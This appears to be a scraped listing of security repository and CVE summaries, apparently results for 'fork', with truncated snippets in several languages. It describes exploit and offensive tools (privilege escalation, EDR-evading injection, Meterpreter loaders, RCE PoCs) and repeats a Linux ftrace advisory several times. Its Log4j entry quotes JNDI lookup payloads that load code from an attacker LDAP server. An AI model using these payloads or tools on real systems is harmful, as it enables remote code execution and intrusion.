COWSlip

COWSlip: XFS reflink stale-mapping LPE originally RefluXFS or CVE-2026-64600 The name describes the mechanism: COW identifies XFS copy-on-write/reflink handling. Slip describes the stale data-fork mapping slipping to the wrong physical block after the ILOCK cycle. However, official credits belong...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器（server 模块），该服务器将提供字符串和代码的表示（payload 模块） 2. 创建受害者示例（victim 模块），并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 $jndi:ldap://127.0.0.1:1389/anything $jndi:ldap://127.0.0.1:1389/jar...

LeetObfuscator

LeetObfuscator ██╗ ███████╗███████╗████████╗ ██║ ██╔════╝██╔════╝╚══██╔══╝ ██║ █████╗ █████╗ ██║ ██║ ██╔══╝ ██╔══╝ ██║ ███████╗███████╗███████╗ ██║ ╚══════╝╚══════╝╚══════╝ ╚═╝ ██████╗ ██████╗ ███████╗██╗ ██╗███████╗ ██████╗ █████╗ ████████╗ ██████╗ ██████╗ ██╔═══██╗██╔══██╗██╔════╝██║...

kamene

kamene anteriormente conocido como "scapy for python3" o scapy3k General Sigue a @pktkamene para noticias recientes. Documentación original actualizada para kamene Noticias Hemos pasado por una transición de nombre del repositorio de github, del nombre del paquete pip y del nombre del paquete...

Dirty-Vanity

Dirty Vanity Una POC para la nueva técnica de inyección, que abusa de la API fork de Windows para evadir los EDR. Uso DirtyVanity.exe TARGETPIDTOREFLECT Pasos en tiempo de ejecución Asignar y escribir el shellcode en TARGETPIDTOREFLECT Hacer fork de TARGETPIDTOREFLECT a un nuevo proceso Establece...

libhtp

Anuncio de fin de vida útil de LibHTP 7 de julio de 2026 Tras el fin de vida útil de Suricata 7, el proyecto libhtp ya no será mantenido ni actualizado por OISF. Suricata 8 y versiones posteriores utilizan un fork del código de libhtp que ha sido convertido y reescrito en Rust. Está disponible ba...

freeMetsrvLoader

freeMetsrvLoader Fork de freeBokuLoader que apunta al paquete de DLL reflectiva inicial de Metsrv y lo libera. Uso meterpreter executebof freeMetsrvLoader.x64.o Se puede automatizar con InitialAutoRunScript o AutoRunScript...

auto-repeater

Auto Repeater Extensión de Burp Acerca de Esta es una versión modificada de la gran extensión Auto Repeater escrita por Justin Moore, NCC Group El repositorio original se puede encontrar en https://github.com/nccgroup/AutoRepeater La versión de Portswigger se puede encontrar en...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE 漏洞利用工具 一个用于检测和测试 expr-eval 与 expr-eval-fork npm 包中 CVE-2025-12735 漏洞的安全研究工具。 ⚠️ 免责声明 本工具仅用于授权的安全测试和教育目的 。未经授权访问计算机系统是违法的。请仅在你拥有或已获得明确书面测试许可的系统上使用本工具。 📋 概述 CVE-2025-12735 是 expr-eval 和 expr-eval-fork npm 包中的一个严重远程代码执行漏洞。该漏洞允许攻击者在解析器使用的 context 对象内定义任意函数，从而注入执行系统级命令的恶意代码...

CVE-2026-39987_POC

PoC — CVE-2026-39987 · RCE Pre-Auth en Marimo CVSS 4.0: 9.3 Crítico · AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H Afecta a: marimo 2 llamadas a validateauth. terminal.py - 0 @requires, 0 validateauth. -- el fallo. El middleware AuthBackend protege HTTP y el websocket /ws, pero /terminal/ws acepta la...

proxmark3

Obsoleto Fork de Iceman ESTE FORK HA QUEDADO OBSOLETO, USA EL REPOSITORIO RRG/ICEMAN EN SU LUGAR! Ref.: repositorio de GitHub de Proxmark3 RDV4.0 El repositorio RRG/Iceman está basado en este repositorio. Se ha invertido mucho desarrollo en el repositorio RRG para añadir soporte a todas las nueva...

CVE-2026-97937

In the Linux kernel, the following vulnerability has been resolved: ftrace: fork: Initialize function graph state before copyexecstate duptaskstruct copies the parent's taskstruct, including retstack. ftracegraphinittask clears the copied function graph state, but it currently runs after...

CVE-2026-97937 ftrace: fork: Initialize function graph state before copy_exec_state()

In the Linux kernel, the following vulnerability has been resolved: ftrace: fork: Initialize function graph state before copyexecstate duptaskstruct copies the parent's taskstruct, including retstack. ftracegraphinittask clears the copied function graph state, but it currently runs after...

EUVD-2026-86791

In the Linux kernel, the following vulnerability has been resolved: ftrace: fork: Initialize function graph state before copyexecstate duptaskstruct copies the parent's taskstruct, including retstack. ftracegraphinittask clears the copied function graph state, but it currently runs after...

CVE-2026-97937

In the Linux kernel, the following vulnerability has been resolved: ftrace: fork: Initialize function graph state before copyexecstate duptaskstruct copies the parent's taskstruct, including retstack. ftracegraphinittask clears the copied function graph state, but it currently runs after...

CVE-2026-97937

The Linux kernel contains a vulnerability in ftrace where the child function graph state is not initialized early enough during a fork operation. Specifically, dup_task_struct() copies the parent's task_struct including the ret_stack. Because ftrace_graph_init_task() currently runs after copy_exe...

CVE-2026-97937 ftrace: fork: Initialize function graph state before copy_exec_state()

In the Linux kernel, the following vulnerability has been resolved: ftrace: fork: Initialize function graph state before copyexecstate duptaskstruct copies the parent's taskstruct, including retstack. ftracegraphinittask clears the copied function graph state, but it currently runs after...

CVE-2026-39987

CVE-2026-39987 For Marimo 0.20.4 PoC ⚠️ This tool is intended for educational purposes and authorized security testing only. The creator is not responsible for any unauthorized or illegal use. Use at your own risk. ⚠️ Info: CVE-2026-39987 is a critical pre-authentication Remote Code Execution RCE...

sudowp-hooks-visualizer

SudoWP Hooks Visualizer Colaboradores: SudoWP, WP Republic Autores originales: Stuart O'Brien, cxThemes Tags: hooks, actions, filters, developer-tool, debug, security-fork, cve-2024-6297 Requiere al menos: 5.8 Probado hasta: 6.7 Etiqueta estable: 1.3.2 Licencia: GPLv2 o posterior Aviso de segurid...

CrackMapExec

不再维护 由于存在一个敌意的分支，本项目不再维护。 CrackMapExec 您当前正在查看的是 CrackMapExec 项目最新、最完整 的仓库！🎉 🚧 如果您想报告问题，请打开一个 Issue 🔀 如果您想贡献代码，请提交一个 Pull Request 💬 如果您想讨论问题，请发起一个 Discussion 鸣谢 （以下是完成繁重工作的人们） 本项目最初受到以下项目的启发： CredCrack smbexec smbmap 非故意的贡献者： Empire 项目 @T-S-A 的 smbspider 脚本 @ConsciousHacker 基于 GreatSCT 项目对...